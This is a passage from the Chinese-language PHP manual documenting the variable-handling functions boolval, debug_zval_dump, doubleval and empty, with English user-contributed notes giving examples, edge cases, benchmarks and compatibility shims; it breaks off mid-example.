  • is_int — 检测变量是否是整数
  • is_integer — is_int 的别名
  • is_iterable — Verify that the contents of a variable is an iterable value
  • is_long — is_int 的别名
  • is_null — 检测变量是否为 NULL
  • is_numeric — 检测变量是否为数字或数字字符串
  • is_object — 检测变量是否是一个对象
  • is_real — is_float 的别名
  • is_resource — 检测变量是否为资源类型
  • is_scalar — 检测变量是否是一个标量
  • is_string — 检测变量是否是字符串
  • isset — 检测变量是否已设置并且非 NULL
  • print_r — 以易于理解的格式打印变量。
  • serialize — 产生一个可存储的值的表示
  • settype — 设置变量的类型
  • strval — 获取变量的字符串值
  • unserialize — 从已存储的表示中创建 PHP 的值
  • unset — 释放给定的变量
  • var_dump — 打印变量的相关信息
  • var_export — 输出或返回一个变量的字符串表示

User Contributed Notes

There are no user contributed notes for this page.


获取变量的布尔值

  • ? Variable handling 函数
  • debug_zval_dump ?
  • PHP Manual
  • Variable handling 函数
  • 获取变量的布尔值

boolval

(PHP 5 >= 5.5.0, PHP 7)

boolval — 获取变量的布尔值

说明

boolval ( mixed $var ) : boolean

返回var变量的布尔值 .

参数

var

标量类型会被转化成布尔类型.

返回值

var变量的布尔值.

范例

Example #1 boolval() examples

<?php
echo '0:        '.(boolval(0) ? 'true' : 'false')."\n";
echo '42:       '.(boolval(42) ? 'true' : 'false')."\n";
echo '0.0:      '.(boolval(0.0) ? 'true' : 'false')."\n";
echo '4.2:      '.(boolval(4.2) ? 'true' : 'false')."\n";
echo '"":       '.(boolval("") ? 'true' : 'false')."\n";
echo '"string": '.(boolval("string") ? 'true' : 'false')."\n";
echo '"0":      '.(boolval("0") ? 'true' : 'false')."\n";
echo '"1":      '.(boolval("1") ? 'true' : 'false')."\n";
echo '[1, 2]:   '.(boolval([1, 2]) ? 'true' : 'false')."\n";
echo '[]:       '.(boolval([]) ? 'true' : 'false')."\n";
echo 'stdClass: '.(boolval(new stdClass) ? 'true' : 'false')."\n";
?>

以上例程会输出：

0:        false
42:       true
0.0:      false
4.2:      true
"":       false
"string": true
"0":      false
"1":      true
[1, 2]:   true
[]:       false
stdClass: true

参见

  • floatval() - 获取变量的浮点值
  • intval() - 获取变量的整数值
  • strval() - 获取变量的字符串值
  • settype() - 设置变量的类型
  • is_bool() - 检测变量是否是布尔型
  • Type juggling

User Contributed Notes

raphael.satyago 20-Jan-2015 09:20
function is_true($val, $return_null=false){
    $boolval = ( is_string($val) ? filter_var($val, FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE) : (bool) $val );
    return ( $boolval===null && !$return_null ? false : $boolval );
}

// Return Values:

is_true(new stdClass);      // true
is_true([1,2]);             // true
is_true([1]);               // true
is_true([0]);               // true
is_true(42);                // true
is_true(-42);               // true
is_true('true');            // true
is_true('on')               // true
is_true('off')              // false
is_true('yes')              // true
is_true('no')               // false
is_true('ja')               // false
is_true('nein')             // false
is_true('1');               // true
is_true(NULL);              // false
is_true(0);                 // false
is_true('false');           // false
is_true('string');          // false
is_true('0.0');             // false
is_true('4.2');             // false
is_true('0');               // false
is_true('');                // false
is_true([]);                // false
Matt M 09-Jan-2015 05:27
To anyone like me who came here looking for a way to turn any value into a 0/1 that will fit into a MySQL boolean (tinyint) field:

<?php
$tinyint = (int) filter_var($valToCheck, FILTER_VALIDATE_BOOLEAN);
?>

tinyint will be 0 (zero) for values like string "false", boolean false, int 0

tinyint will be 1 for values like string "true", boolean true, int 1

Useful if you are accepting data that might be from a language like Javascript that sends string "false" for a boolean false.
Babak Bandpey 13-May-2014 09:14
I believe that the double negation !! can perform the same task with the same result if your PHP is not up2date

var_dump(!!1, !!0, !!"test", !!"");

outputs:
boolean true

boolean false

boolean true

boolean false

May the life be good to you.
Anonymous 30-Dec-2013 05:12
A misspell in v2.0.
:-)

Hack v2.1

<?php

if( ! function_exists('boolval'))
{
    /**
     * Get the boolean value of a variable
     *
     * @param mixed The scalar value being converted to a boolean.
     * @return boolean The boolean value of var.
     */
    function boolval($var)
    {
        return !! $var;
    }
}

?>
info at lomalkin dot ru 15-Mar-2013 11:08
<?

// Hack for old php versions to use boolval()

if (!function_exists('boolval')) {
        function boolval($val) {
                return (bool) $val;
        }
}
?>


Dumps a string representation of an internal zend value to output

  • ? boolval
  • doubleval ?
  • PHP Manual
  • Variable handling 函数
  • Dumps a string representation of an internal zend value to output

debug_zval_dump

(PHP 4 >= 4.2.0, PHP 5, PHP 7)

debug_zval_dump — Dumps a string representation of an internal zend value to output

说明

debug_zval_dump ( mixed $variable [, mixed $... ] ) : void

Dumps a string representation of an internal zend value to output.

参数

variable

The variable being evaluated.

返回值

没有返回值。

范例

Example #1 debug_zval_dump() example

<?php
$var1 = 'Hello World';
$var2 = '';

$var2 =& $var1;

debug_zval_dump(&$var1);
?>

以上例程会输出：

&string(11) "Hello World" refcount(3)

Note: Beware the refcount

The refcount value returned by this function is non-obvious in certain circumstances. For example, a developer might expect the above example to indicate a refcount of 2. The third reference is created when actually calling debug_zval_dump().

This behavior is further compounded when a variable is not passed to debug_zval_dump() by reference. To illustrate, consider a slightly modified version of the above example:

<?php
$var1 = 'Hello World';
$var2 = '';

$var2 =& $var1;

debug_zval_dump($var1); // not passed by reference, this time
?>

以上例程会输出：

string(11) "Hello World" refcount(1)

Why refcount(1)? Because a copy of $var1 is being made, when the function is called.

This function becomes even more confusing when a variable with a refcount of 1 is passed (by copy/value):

<?php
$var1 = 'Hello World';

debug_zval_dump($var1);
?>

以上例程会输出：

string(11) "Hello World" refcount(2)

A refcount of 2, here, is extremely non-obvious. Especially considering the above examples. So what's happening?

When a variable has a single reference (as did $var1 before it was used as an argument to debug_zval_dump()), PHP's engine optimizes the manner in which it is passed to a function. Internally, PHP treats $var1 like a reference (in that the refcount is increased for the scope of this function), with the caveat that if the passed reference happens to be written to, a copy is made, but only at the moment of writing. This is known as "copy on write."

So, if debug_zval_dump() happened to write to its sole parameter (and it doesn't), then a copy would be made. Until then, the parameter remains a reference, causing the refcount to be incremented to 2 for the scope of the function call.

参见

  • var_dump() - 打印变量的相关信息
  • debug_backtrace() - 产生一条回溯跟踪(backtrace)
  • References Explained
  • » References Explained (by Derick Rethans)

User Contributed Notes

Hayley Watson 09-Jul-2019 11:01
If you're finding the interpretation of refcount confusing, the Xdebug extension offers a function similar to this one, but because the variable name is passed as a string, xdebug_debug_zval() doesn't scribble on the refcount with its own references to the zval.
bmafzallmahmud at gmail dot com 26-Dec-2017 02:13
Actual Output debug_zval_dump()
example :1

$var1 = 'Hello World';
$var2 = '';
$var2 =& $var1;
debug_zval_dump("&$var1"); //output : string(12) "&Hello World" refcount(1)
debug_zval_dump($var1);   //output : string(11) "Hello World" refcount(3)
debug_zval_dump(&$var1);  //output : Parse error: syntax error, unexpected '&' i

example :2

$var1 = 'Hello World';
debug_zval_dump($var1);//string(11) "Hello World" refcount(3)

example : 3

$var1 = 'Hello World';
$var2 = 'who';
$var2 =& $var1;
debug_zval_dump($var1); //output ://string(11) "Hello World" refcount(3)
Anonymous 17-Apr-2016 09:09
"Fatal error: Call-time pass-by-reference has been removed ..." since PHP 5.something. So the Example #1 is now invalid PHP code.
AmberBlackthorn 23-Oct-2010 05:35
The add of "Call-time pass-by-reference" as E_DEPRECATED makes it impossible to get the real refcount without getting an error, since <?php error_reporting(E_ALL ^ E_DEPRECATED); ?> and even <?php @debug_zval_dump(&$foo); ?> doesn't change anything.


floatval 的别名

  • ? debug_zval_dump
  • empty ?
  • PHP Manual
  • Variable handling 函数
  • floatval 的别名

doubleval

(PHP 4, PHP 5, PHP 7)

doubleval — floatval() 的别名

描述

此函数是 floatval() 的别名。

Note:

此别名是函数改名之后的遗留问题。在 PHP 旧的版本中由于还没有 floatval() 函数，所以你可能需要用到这个 floatval() 的别名函数。

User Contributed Notes

There are no user contributed notes for this page.


检查一个变量是否为空

  • ? doubleval
  • floatval ?
  • PHP Manual
  • Variable handling 函数
  • 检查一个变量是否为空

empty

(PHP 4, PHP 5, PHP 7)

empty — 检查一个变量是否为空

说明

empty ( mixed $var ) : bool

判断一个变量是否被认为是空的。当一个变量并不存在，或者它的值等同于FALSE，那么它会被认为不存在。如果变量不存在的话，empty()并不会产生警告。

参数

var

待检查的变量

Note:

在 PHP 5.5 之前，empty() 仅支持变量；任何其他东西将会导致一个解析错误。换言之，下列代码不会生效： empty(trim($name))。 作为替代，应该使用trim($name) == false.

没有警告会产生，哪怕变量并不存在。 这意味着 empty() 本质上与 !isset($var) || $var == false 等价。

返回值

当var存在，并且是一个非空非零的值时返回 FALSE 否则返回 TRUE.

以下的东西被认为是空的：

  • "" (空字符串)
  • 0 (作为整数的0)
  • 0.0 (作为浮点数的0)
  • "0" (作为字符串的0)
  • NULL
  • FALSE
  • array() (一个空数组)
  • $var; (一个声明了，但是没有值的变量)

更新日志

版本 | 说明
5.5.0 | empty() 现在支持表达式了，而不仅仅是变量。
5.4.0 | 检查非数字的字符串偏移量会返回 TRUE.

范例

Example #1 一个简单的 empty() 与 isset() 的比较。

<?php
$var = 0;

// Evaluates to true because $var is empty
if (empty($var)) {
    echo '$var is either 0, empty, or not set at all';
}

// Evaluates as true because $var is set
if (isset($var)) {
    echo '$var is set even though it is empty';
}
?>

Example #2 在字符串偏移量上使用empty()

PHP 5.4 修改了当传入的是字符串偏移量时， empty() 的行为

<?php
$expected_array_got_string = 'somestring';
var_dump(empty($expected_array_got_string['some_key']));
var_dump(empty($expected_array_got_string[0]));
var_dump(empty($expected_array_got_string['0']));
var_dump(empty($expected_array_got_string[0.5]));
var_dump(empty($expected_array_got_string['0.5']));
var_dump(empty($expected_array_got_string['0 Mostel']));
?>

以上例程在PHP 5.3中的输出：

bool(false)
bool(false)
bool(false)
bool(false)
bool(false)
bool(false)

以上例程在PHP 5.4中的输出：

bool(true)
bool(false)
bool(false)
bool(false)
bool(true)
bool(true)

注释

Note: 因为是一个语言构造器而不是一个函数，不能被 可变函数 调用。

Note:

当对一个不可见的对象属性使用 empty() 时， __isset() 方法如果存在的话，它将会被调用。

参见

  • isset() - 检测变量是否已设置并且非 NULL
  • __isset()
  • unset() - 释放给定的变量
  • array_key_exists() - 检查数组里是否有指定的键名或索引
  • count() - 计算数组中的单元数目，或对象中的属性个数
  • strlen() - 获取字符串长度
  • The type comparison tables

User Contributed Notes

markmanning at gmail dot com 23-Mar-2019 09:15
I normally count() an array, so I wanted to see how empty() would stack up.

<?php
    $test = array();
    $test2 = array();
    for ($x = 0; $x < 1000; $x++)  $test[] = $x;

    $ts = microtime(true);
    for ($x = 0; $x < 100000000; $x++)
    {
        if (count($test))
        {
        }
    }

    echo "Time taken:  " . (microtime(true) - $ts) . " sec\n";
?>

For 100,000,000 comparisons, here are the results against PHP 7.2.16 on my hardware:

count($test):  2.697 sec
count($test2):  2.596 sec
$test === array():  2.579 sec
$test2 === array():  2.552 sec
empty($test):  3.085 sec
empty($test2):  3.113 sec

In short, it doesn't matter what method is used although empty() is actually just ever so slightly slower despite it being a language construct.  YMMV.
fahimcseiiuc at gmail dot com 25-Feb-2019 10:02
<?php

    /*"" (an empty string)
      0 (0 as an integer)
      0.0 (0 as a float)
      "0" (0 as a string)
      NULL
      FALSE
      array() (an empty array)*/

$anEmptyString = "";
empty($anEmptyString);
if(empty($anEmptyString) == TRUE){
    echo "TRUE";
} else{
    echo "FALSE";
}
echo "<hr>";         //line break

$anIntegerNumber = 0;
empty($anIntegerNumber);
if(empty($anIntegerNumber) == TRUE){
    echo "TRUE";
} else{
    echo "FALSE";
}
echo "<hr>";         //line break

$aFloatNumber = 0.0;
empty($aFloatNumber);
if(empty($aFloatNumber) == TRUE){
    echo "TRUE";
} else{
    echo "FALSE";
}
echo "<hr>";       //line break

$aZeroValuedString = "0";
empty($aZeroValuedString);
if(empty($aZeroValuedString) == TRUE){
    echo "TRUE";
} else{
    echo "FALSE";
}
echo "<hr>";        //line break

$aNULL = NULL;
empty($aNULL);
if(empty($aNULL) == TRUE){
    echo "TRUE";
} else{
    echo "FALSE";
}
echo "<hr>";        //line break

$aBooleanFALSE = FALSE;
empty($aBooleanFALSE);
if(empty($aBooleanFALSE) == TRUE){
    echo "TRUE";
} else{
    echo "FALSE";
}
echo "<hr>";        //line break

$anEmptyArray = array();
empty($anEmptyArray);
if(empty($anEmptyArray) == TRUE){
    echo "TRUE";
} else{
    echo "FALSE";
}
echo "<hr>";       //line break

?>
GazetteSDF 21-Sep-2018 09:02
For the verification of a form, to "block" entries such as a simple space or other, I thought of this combination:

function isEmpty($string){
    $val = preg_replace('#[^A-Za-z0-9]+#', '', $string) ;
    $val = trim($string, '');
    return ($string=='') ;
}

This protects entries like: ' ' ,'  -  ', '. - +', ... On entries like name, profession, ... it's helpful
DimeCadmium 14-Sep-2018 07:34
Each of the following statements is equivalent:

<?php
empty($x)
(!isset($x) || !$x)
!(isset($x) && $x)
?>

Note that this means PHP's odd and painful understanding of falsey is used, implying that you can not use empty() to, say, determine if a form has been filled out fully. (Or you'll have fun when someone wants to put "0" in a field.)
bert at elicom dot nl 09-Mar-2018 01:02
Never EVER use the empty() function.

There are good alternatives (e.g. explicitly checking against '', 0, and '0'), and since PHP variable types are determined by context, it will be unclear what a particular empty() is doing in your code. Even if YOU understand which empty() in your code is doing what, you (yourself) may not in the future. Or someone else may one day be studying/using/building upon your code, and this other person may not even know about the misleading behavior of empty(). So, even if YOU know exactly where to use and not use empty(), and what exactly it will do for you, help your fellow coders by never using it.
aditycse at gmail dot com 10-Nov-2017 03:58
<?php

/**
 * Used for checking empty objects/array
 * @uses How to check empty objects and array in php code
 * @author Aditya Mehrotra<aditycse@gmail.com>
 */

/**
 * Empty class
 */
class EmptyClass {

}

$obj = new stdClass();
//or any other class empty object
$emptyClassObj = new EmptyClass();
$array = array();

if (empty($array)) {
    echo 'array is empty'; //expected result
} else {
    echo 'array is not empty'; //unexpected result
}
echo "<br>";

if (empty($obj)) {
    echo 'object is empty'; //expected result
} else {
    echo 'object is not empty'; //unexpected result
}
echo "<br>";

if (empty($emptyClassObj)) {
    echo 'EmptyClass is empty'; //expected result
} else {
    echo 'EmptyClass is not empty'; //unexpected result
}
echo "<br>";

//Result SET 1
//array is empty      => expected result
//object is not empty => ouch what happened
//EmptyClass is not empty => ouch what happened

/**
 * So what we do for checking empty object
 * @solution use any known property or check property count
 * Or you can use below method
 * Count function will not return 0 in empty object
 */

//Below line print "Object count:1"
echo 'Object count:' . count($obj);

echo "<br>";

/**
 * This function is used to get object item counts
 * @function getCount
 * @access public
 * @param object|array $var
 * @return integer
 */
function getCount($var) {
    $count = 0;
    if (is_array($var) || is_object($var)) {
        foreach ($var as $value) {
            $count++;
        }
    }
    unset($value);
    return $count;
}

//Running code again with new logic
if (getCount($array) === 0) {
    echo 'array is empty'; //expected result
} else {
    echo 'array is not empty'; //unexpected result
}
echo "<br>";

if (getCount($obj) === 0) {
    echo 'object is empty'; //expected result
} else {
    echo 'object is not empty'; //unexpected result
}

echo "<br>";

if (getCount($emptyClassObj) === 0) {
    echo 'EmptyClass is empty'; //expected result
} else {
    echo 'EmptyClass is not empty'; //unexpected result
}

//Result SET 2
//array is empty    => expected result  ##everything is all right
//object is empty   => expected result  ##everything is all right
//EmptyClass is empty   => expected result  ##everything is all right
xzero at elite7hackers dot net 13-Jul-2017 11:36
Note that empty() will return false on null byte. Eg.

<?php
// Save to variable, so it works on older PHP versions
$null_byte = chr(0); // === \0

var_dump(
    empty(null),
    empty($null_byte)
);
/**
 * Results:
 *
 * bool(true)
 * bool(false)
 */
wranvaud at gmail dot com 02-Jul-2017 06:22
Note that if your variable only has an "end of line" (aka carriage return), PHP_EOL it is not considered as empty. Since end of lines are not always easy to spot this can be confusing.
Claudio Galdiolo 25-Mar-2017 12:20
Warning: an "empty" object is NOT considered to be empty
<?php
$var = new stdClass(); // "empty" object
var_dump(empty($var)); // bool(false)
?>

I don't know if there is a standard way to test for "empty" objects, I personally use array casting:
<?php
$var = new stdClass(); // "empty" object
$var = (array) $var; // cast to empty array
var_dump(empty($var)); // bool(true)
?>
mcfogw at gmail dot com 08-May-2016 02:40
I'm comparing behavior of `!` and `empty()`, find an undocumented behavior here.

just like cast-to-boolean, `empty()` cares about if SimpleXML object is made from emty tags.

`empty(simplexml_load_string('<root />'))` is TRUE

this behavior begins from php 5.1.0~7, in 5.0.x that's FALSE

proof here => https://3v4l.org/74Tc4
Javier Alfonso 11-Mar-2016 01:05
If you test an element of an array (like $_POST['key]), it test if the key doesn't exist or if it exist if its value is empty and never emit a warning.

For who don't want to test what happen if passed an array element here is my test and result.

<?php
$a = array();
$b = array('key');
$c = array('key' => false);
$d = array('key' => 'La verdad nos hace libres');

echo (empty($a['key'])?'A empty':'A not empty'), ' - ', (empty($b['key'])?'B empty':'B not empty'), ' - ', (empty($c['key'])?'C empty':'C not empty'), ' - ', (empty($d['key'])?'D empty':'D not empty');
?>

And the result is:

    A empty - B empty - C empty - D not empty
your dot brother dot t at hotmail dot com 25-Dec-2014 09:38
(experienced in PHP 5.6.3) The `empty()` can't evaluate `__get()` results explicitly, so the `empty()` statement bellow always renders true
<?php
class Juice extends Liquid{
   protected $apple;
   protected $orange;
   public function __get($name) {
      return $this->$name;
   }
   public function __construct($apple, $orange) {
      $this->apple = $apple;
      $this->orange = $orange;
   }
}

class Glass {
   protected $liquid;
   public function __get($name) {
      return $name == "liquid" ? $this->liquid : false;
   }
   public function __construct() {
      $this->juice = new Juice(3, 5);
   }
}

$glass = new Glass();
var_dump(empty($this->liquid->apple));

/**
 * The output is:
 * bool(true)
 */
?>

The correct way is to force the evaluation of `__get()` first, by using extra braces around implicit statements like this:
<?php
var_dump(empty(($this->liquid->apple)));

/**
 * The output is:
 * bool(false)
 */
?>

So if you are using packages that utilize object oriented designs and magic methods like `__get()`, it's a good practice to always use double braces for `empty()` calls.
chrisdmiddleton at gmail dot com 09-Sep-2014 08:37
If you want to use empty() to evaluate an expression (not a variable), and you don't have PHP 5.5+, you can do it by wrapping the call to empty in a function, like so:
<?php
function is_empty($var) {

    return empty($var);

}
?>
Then you can do something like
<?php
if(is_empty(NULL)) {
 /* ... */
}
?>
without issue, since the local variable $var is being tested rather than the expression in the function call itself.
turabgarip at gmail dot com 08-May-2014 04:16
Checking if a variable is empty or not when you have more than one will add so many similar lines to your code; and will require re-writing of course. Like for example;

<?php
if (!empty($a))
    $myvar = $a;
elseif (!empty($b))
     $myvar = $b;
//...
?>

If, for example $myvar should be pulled among 5 vars, you need to write it for 5 times. But in the below example, using $myvar = esor($var1, $var2, ...) will set it to first non-empty var.

<?php

function esor()
{
    $arg_num = func_num_args();
    // "No arguments" is empty string
    if (!$arg_num) return '';
    $args = func_get_args();
    for ($i = 0; $i < $arg_num; $i++)
        if (!empty($args[$i]))
            return $args[$i];
    // Not found any filled var?
    return ''; // Empty string is what you get
}

// For example;
mail(esor($settings['admin_mail'], $_ENV['SERVER_ADMIN']), 'Something went wrong', 'Error was foo');

?>

This will make it "one line code" no matter how many vars you have to check. Hope that helps.
Nanhe Kumar 31-Jan-2014 10:17
<?php
/**
* @author :  Nanhe Kumar <nanhe.kumar@gmail.com>
* List of all empty values
**/

$testCase = array(
    1 => '',
    2 => "",
    3 => null,
    4 => array(),
    5 => FALSE,
    6 => NULL,
    7=>'0',
    8=>0,

);

foreach ($testCase as $k => $v) {
    if (empty($v)) {
        echo "<br> $k=>$v is empty";
    }
}
/**
Output
1=> is empty
2=> is empty
3=> is empty
4=>Array is empty
5=> is empty
6=> is empty
7=>0 is empty
8=>0 is empty
**/
?>
bharris at nospam dot epic dot com 11-Nov-2013 08:59
XML::Unserializer produces unexpected results because empty($key) is true when $key = 0.

Example:

<?php
include("/usr/share/php/XML/Unserializer.php");
$xml= <<<EOD
<?xml version="1.0"?>
<groups _type="array">
    <XML_Serializer_Tag _originalKey="0" _type="array">
        <gid _type="integer">10</gid>
    </XML_Serializer_Tag>
    <XML_Serializer_Tag _originalKey="5" _type="array">
        <gid _type="integer">100</gid>
    </XML_Serializer_Tag>
</groups>
EOD;
$uns = new XML_Unserializer();
$res = $uns->unserialize($xml);
$recs = $uns->getUnserializedData();
print_r($recs);
?>

produces

Array
(
    [0] => Array
        (
            [gid] => 10
        )

    [5] => Array
        (
            [gid] => 100
        )
)

while

<?php
include("/usr/share/php/XML/Unserializer.php");
$xml= <<<EOD
<?xml version="1.0"?>
<groups _type="array">
    <XML_Serializer_Tag _originalKey="5" _type="array">
        <gid _type="integer">100</gid>
    </XML_Serializer_Tag>
    <XML_Serializer_Tag _originalKey="0" _type="array">
        <gid _type="integer">10</gid>
    </XML_Serializer_Tag>
</groups>
EOD;
$uns = new XML_Unserializer();
$res = $uns->unserialize($xml);
$recs = $uns->getUnserializedData();
print_r($recs);
?>

produces

Array
(
    [1] => Array
        (
            [gid] => 100
        )

    [6] => Array
        (
            [gid] => 10
        )
)

This is because the "empty" key value of 0 results in a push onto the end of the array, rather than an insertion at key position 0.
martin dot aarhof at gmail dot com 15-Mar-2012 08:38
<?php
$str = '            ';
var_dump(empty($str)); // boolean false
?>

So remember to trim your strings first!

<?php
$str = '        ';
$str = trim($str);
var_dump(empty($str)); // boolean true
?>
qeremy 07-Mar-2012 03:33
Simple solution for: "Fatal error: Can't use function return value in write context in ..."

<?php
function _empty($val) { return empty($val); }
?>
chris dot wisefool at gmail dot com 09-Sep-2011 12:44
Note that checking the existence of a subkey of an array when that subkey does not exist but the parent does and is a string will return false for empty.

i.e.

<?php
$params = array('search'=>'1');
empty($params['search']['filter']); # returns false
?>

This is correct, per the documentation (http://php.net/manual/en/language.types.string.php); quite a bit down the page is the Warning: "Writing to an out of range offset pads the string with spaces. Non-integer types are converted to integer." ) I didn't receive a warning but perhaps that's correct too...depends on whether the string -> integer conversion is considered "illegal": "Illegal offset type emits E_NOTICE."

(i.e. since $params['search'] is a string, the 'filter' subscript is converted to 0, so the test becomes empty($params['search'][0]), which is obviously false), but it tripped me up enough to mistakenly file a bug report (which I've since closed).
steven at nevvix dot com 02-May-2011 09:16
When you need to accept these as valid, non-empty values:
- 0 (0 as an integer)
- 0.0 (0 as a float)
- "0" (0 as a string)

<?php
function is_blank($value) {
    return empty($value) && !is_numeric($value);
}
?>

This is similar to Rails' blank? method.
phpsort 21-Jan-2011 11:13
I'm summarising a few points on empty() with inaccessible properties, in the hope of saving others a bit of time. Using PHP 5.3.2.
<?php
class MyClass {
    private $foo = 'foo';
}
$myClass = new MyClass;
echo $myClass->foo;
?>
As expected, this gives "Fatal error: Cannot access private property MyClass::$foo".
But substitute the line
if (empty($myClass->foo)) echo 'foo is empty'; else echo 'foo is not empty';
and we get the misleading result "foo is empty".
There is NO ERROR OR WARNING, so this is a real gotcha. Your code will just go wrong silently, and I would say it amounts to a bug.
If you add two magic functions to the class:
public function __get($var) { return $this->$var; }
public function __isset($var) { return isset($this->$var); }
then we get the expected result. You need both functions.
For empty($myClass->foo), I believe PHP calls __isset, and if that is true returns the result of empty on the result of __get. (Some earlier posts wrongly suggest PHP just returns the negation of __isset).
BUT ...
See the earlier post by php at lanar dot com. I confirm those results, and if you extend the test with isset($x->a->b->c) it appears that __isset is only called for the last property in the chain. Arguably another bug. empty() behaves in the same way. So things are not as clear as we might hope.
See also the note on empty() at
http://uk3.php.net/manual/en/language.oop5.overloading.php
Clear as mud!
e dot klerks at i-bytes dot nl 08-Nov-2010 06:16
To make an empty function, which only accepts arrays, one can use type-hinting:

<?php
// emptyArray :: [a] -> Bool

function emptyArray(array $xs){
 return empty($xs);
}
?>

Type hinting is a good thing to use in your code, because it makes it more easy to reason about your code. Besides that, it automatically documents the code.
rodolphe dot bodeau at free dot fr 25-Oct-2010 06:37
Be careful, if "0" (zero as a string), 0 (zero as an integer) and -0 (minus zero as an integer) return true, "-0" (minus zero as a string (yes, I already had some customers that wrote -0 into a form field)) returns false. You need to cast your variable before testing it with the empty() function :

<?php
$var = "-0";
echo empty($var);  // returns false
$var = (int) $var; // casts $var as an integer
echo empty($vat);  // returns true
?>
ehsmeng 21-Sep-2010 05:25
I can't use empty() in all situations because '0' is usually not considered empty to me. I did a quick benchmark over the most common ways of testing it. '' == var suffers from '' == 0 is true so that's just there for curiosity.

<?php
    $microtimeref = microtime(true);
    $a = 0;
    $b = 'asd';
    for ($i = 0; $i < 5000000; $i++)
    {
        if (0 == mb_strlen ($b))
        {
            $a++;
        }
    }
    echo "Total time 0 == mb_strlen(var): <b>" . round(microtime(true) - $microtimeref,3) . 's</b><br />';
?>

The results:

Total time 0 == mb_strlen(var): 3.141s
Total time 0 === strlen(var): 2.904s
Total time 0 == strlen(var): 2.878s
Total time '' == var: 1.774s
Total time '' === var: 1.706s
Total time empty(var): 1.496s

Thus '' === var will be my zero length string test.
marko dot crni at gmail dot com 16-Sep-2010 11:06
Calling non existing object property, empty($object->prop), will trigger __isset(), the same way as isset($object->prop) does, but there is one difference. If __isset() returns TRUE, another call to __get() will be made and actual return value will be result of empty() and result of __get().
aidan1103 at yahoo dot com 26-Mar-2010 10:11
empty() should not necessarily return the negation of the __isset() magic function result, if you set a data member to 0, isset() should return true and empty should also return true.  A simpler implementation of the __isset magic function would be:

public function __isset($key) {
  return isset($this->{$key});
}

I don't understand why this isn't included in stdClass and inherited by default.
Janci 24-Aug-2009 08:57
Please note that results of empty() when called on non-existing / non-public variables of a class are a bit confusing if using magic method __get (as previously mentioned by nahpeps at gmx dot de). Consider this example:

<?php
class Registry
{
    protected $_items = array();
    public function __set($key, $value)
    {
        $this->_items[$key] = $value;
    }
    public function __get($key)
    {
        if (isset($this->_items[$key])) {
            return $this->_items[$key];
        } else {
            return null;
        }
    }
}

$registry = new Registry();
$registry->empty = '';
$registry->notEmpty = 'not empty';

var_dump(empty($registry->notExisting)); // true, so far so good
var_dump(empty($registry->empty)); // true, so far so good
var_dump(empty($registry->notEmpty)); // true, .. say what?
$tmp = $registry->notEmpty;
var_dump(empty($tmp)); // false as expected
?>

The result for empty($registry->notEmpty) is a bit unexpeced as the value is obviously set and non-empty. This is due to the fact that the empty() function uses __isset() magic functin in these cases. Although it's noted in the documentation above, I think it's worth mentioning in more detail as the behaviour is not straightforward. In order to achieve desired (expexted?) results, you need to add  __isset() magic function to your class:

<?php
class Registry
{
    protected $_items = array();
    public function __set($key, $value)
    {
        $this->_items[$key] = $value;
    }
    public function __get($key)
    {
        if (isset($this->_items[$key])) {
            return $this->_items[$key];
        } else {
            return null;
        }
    }
    public function __isset($key)
    {
        if (isset($this->_items[$key])) {
            return (false === empty($this->_items[$key]));
        } else {
            return null;
        }
    }
}

$registry = new Registry();
$registry->empty = '';
$registry->notEmpty = 'not empty';

var_dump(empty($registry->notExisting)); // true, so far so good
var_dump(empty($registry->empty)); // true, so far so good
var_dump(empty($registry->notEmpty)); // false, finally!
?>

It actually seems that empty() is returning negation of the __isset() magic function result, hence the negation of the empty() result in the __isset() function above.
denobasis-bozic et yahoo.com 18-Jul-2009 04:54
test if all multiarray's are empty

<?php
function is_multiArrayEmpty($multiarray) {
    if(is_array($multiarray) and !empty($multiarray)){
        $tmp = array_shift($multiarray);
            if(!is_multiArrayEmpty($multiarray) or !is_multiArrayEmpty($tmp)){
                return false;
            }
            return true;
    }
    if(empty($multiarray)){
        return true;
    }
    return false;
}

$testCase = array (
0 => '',
1 => "",
2 => null,
3 => array(),
4 => array(array()),
5 => array(array(array(array(array())))),
6 => array(array(), array(), array(), array(), array()),
7 => array(array(array(), array()), array(array(array(array(array(array(), array())))))),
8 => array(null),
9 => 'not empty',
10 => "not empty",
11 => array(array("not empty")),
12 => array(array(),array("not empty"),array(array()))
);

foreach ($testCase as $key => $case ) {
    echo "$key is_multiArrayEmpty= ".is_multiArrayEmpty($case)."<br>";
}
?>

OUTPUT:
========

0 is_multiArrayEmpty= 1
1 is_multiArrayEmpty= 1
2 is_multiArrayEmpty= 1
3 is_multiArrayEmpty= 1
4 is_multiArrayEmpty= 1
5 is_multiArrayEmpty= 1
6 is_multiArrayEmpty= 1
7 is_multiArrayEmpty= 1
8 is_multiArrayEmpty= 1
9 is_multiArrayEmpty=
10 is_multiArrayEmpty=
11 is_multiArrayEmpty=
12 is_multiArrayEmpty=
mlibazisi mabandla 28-May-2009 02:47
in cases when "0" is not intended to be empty, here is a simple function to safely test for an empty string (or mixed variable):

<?php
function _empty($string){
     $string = trim($string);
     if(!is_numeric($string)) return empty($string);
     return FALSE;
}
?>
emperoruk at dontspam dot hotmail dot com 08-May-2009 08:07
When using the php empty() function to check submitted variables such as $_POST or $_GET, be careful to remember that values 0 (integer) and "0" (string with zero character) are all considered empty. eg. in a simple cms a page ID of zero might be used to indicate that the homepage should be displayed but using the following code:

<?php
if (isset($_GET['pid'] && !empty($_GET['pid']) {
  // assign value to local variable
  $pageID = $_GET['pid'];
} else {
  echo "missing variable 'pageID'";
}
?>

When attempting to display the homepage using a pid of zero the above code will fail.

So as a result i wrote a small function to replace the php empty() function in situations where you want 0 and "0" not to be considered empty.

<?php
function is_empty($var, $allow_false = false, $allow_ws = false) {
    if (!isset($var) || is_null($var) || ($allow_ws == false && trim($var) == "" && !is_bool($var)) || ($allow_false === false && is_bool($var) && $var === false) || (is_array($var) && empty($var))) {
        return true;
    } else {
        return false;
    }
}
?>

This function will allow you to test a variable is empty and considers the following values as empty:

an unset variable -> empty
null -> empty
0 -> NOT empty
"0" -> NOT empty
false -> empty
true -> NOT empty
'string value' -> NOT empty
"    " (white space) -> empty
array() (empty array) -> empty

There are two optional parameters:

$allow_false: setting this to true will make the function consider a boolean value of false as NOT empty. This parameter is false by default.

$allow_ws: setting this to true will make the function consider a string with nothing but white space as NOT empty. This parameter is false by default.

In Testing:

<?php
// an unset variable
echo 'unset variable ($notset) - Empty: ';
echo is_empty($notset) ? 'yes<br />' : 'no<br />';
// NULL variable
